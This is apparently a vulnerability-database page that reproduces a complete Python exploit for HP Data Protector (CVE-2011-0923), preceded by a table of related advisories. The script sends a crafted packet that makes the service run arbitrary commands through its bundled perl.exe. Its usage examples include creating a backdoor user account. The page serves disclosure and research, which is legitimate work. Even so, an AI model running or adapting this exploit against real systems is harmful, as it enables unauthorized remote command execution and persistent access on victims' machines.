| Reporter | Title | Published | Views | Family All 43 |
|---|---|---|---|---|
| HP Data Protector Client Code Execution Vulnerability PoC (ZDI-11-055) | 28 May 201100:00 | – | zdt | |
| HP Data Protector Remote Shell for HP-UX | 5 Aug 201100:00 | – | zdt | |
| HP Data Protector Remote Root Shell for Linux | 10 Aug 201100:00 | – | zdt | |
| HP Data Protector 6.1 EXEC_CMD Remote Code Execution | 25 Feb 201200:00 | – | zdt | |
| HP Data Protector Arbitrary Remote Command Execution | 7 Aug 201300:00 | – | zdt | |
| CVE-2011-0923 | 28 May 201100:00 | – | circl | |
| HP Data Protector Client EXEC_CMD Command Execution (CVE-2011-0923) | 1 Nov 201100:00 | – | checkpoint_advisories | |
| Hp Data Protector Remote Client EXEC_CMD Code Execution - Ver2 (CVE-2011-0923) | 5 Jul 201800:00 | – | checkpoint_advisories | |
| CVE-2011-0923 | 9 Feb 201100:00 | – | cve | |
| CVE-2011-0923 | 9 Feb 201100:00 | – | cvelist |
"""
HP Data Protector Arbitrary Remote Command Execution
This script allows to execute a command with an arbitrary number of
arguments. The trick calls 'perl.exe' interpreter installed with HP Data
Protector inside the directory {install_path}/bin/.
The main goal of the script is to bypass the limitation of executing only a
single command without any parameter, as provided by already existing
exploits. As shown below, it's possible to exploit the security issue in order
to run any command inside the target system.
Target OS:
Microsoft Windows
Tested Version:
HP Data Protector A.06.20
Usage:
exploit.py <target> <port> <command>
Example:
exploit.py 192.168.1.1 5555 'dir c:\'
exploit.py 192.168.1.1 5555 'ipconfig /all'
exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'
Authors:
Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org )
Claudio Moletta ( mclaudio () gmail com )
Reference:
http://www.zerodayinitiative.com/advisories/ZDI-11-055/
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
"""
import socket
import struct
import sys
def usage():
print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0]
exit(-1)
def exploit(host, port, command):
# Try to connect
print >> sys.stderr, "[*] Connecting to target '%s:%s'..." % (host, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, int(port)))
except Exception as ex:
print >> sys.stderr, "[!] Socket error: \n\t%s" % ex
exit(-3)
else:
print >> sys.stderr, "[*] Connected to the target."
# Connected, build the malicious payload
OFFSET = 46
command = command.replace("\\", "\\\\")
command_size = chr(OFFSET + len(command))
CRAFTED_PKT = "\x00\x00\x00" + \
command_size + \
"\x32\x00\x01" + \
"\x01\x01\x01" + \
"\x01\x01\x00" + \
"\x01\x00\x01" + \
"\x00\x01\x00" + \
"\x01\x01\x00" + \
"\x2028\x00" + \
"\\perl.exe" + \
"\x00 -esystem('%s')\x00" % command
# Send payload to target
print >> sys.stderr, "[*] Sending payload '%s'" % command
sock.sendall(CRAFTED_PKT)
# Parse the response back
print >> sys.stderr, "[*] Output:"
while True:
# Get information about response
response_size = sock.recv(4)
if not response_size: break
n = struct.unpack(">I", response_size)[0]
# Get command results
# code = response[:5]
# data = response[5:]
response = sock.recv(n)
# Clean and parse results
response = response[5:].strip()
response = response.replace("\n", "")
response = response.replace("\x00", "")
# Check for the end-of-message
if response.upper().find("*RETVAL*") != -1:
break
print response
# Close connection
sock.close()
if __name__ == "__main__":
# Get command-line
argc = len(sys.argv)
if argc < 4:
usage()
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
if port.isdigit():
port = int(port)
else:
print >> sys.stderr, "[!] Error, invalid port value"
exit(-2)
# Send malicious payload
exploit(host, port, cmd)
exit(0)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation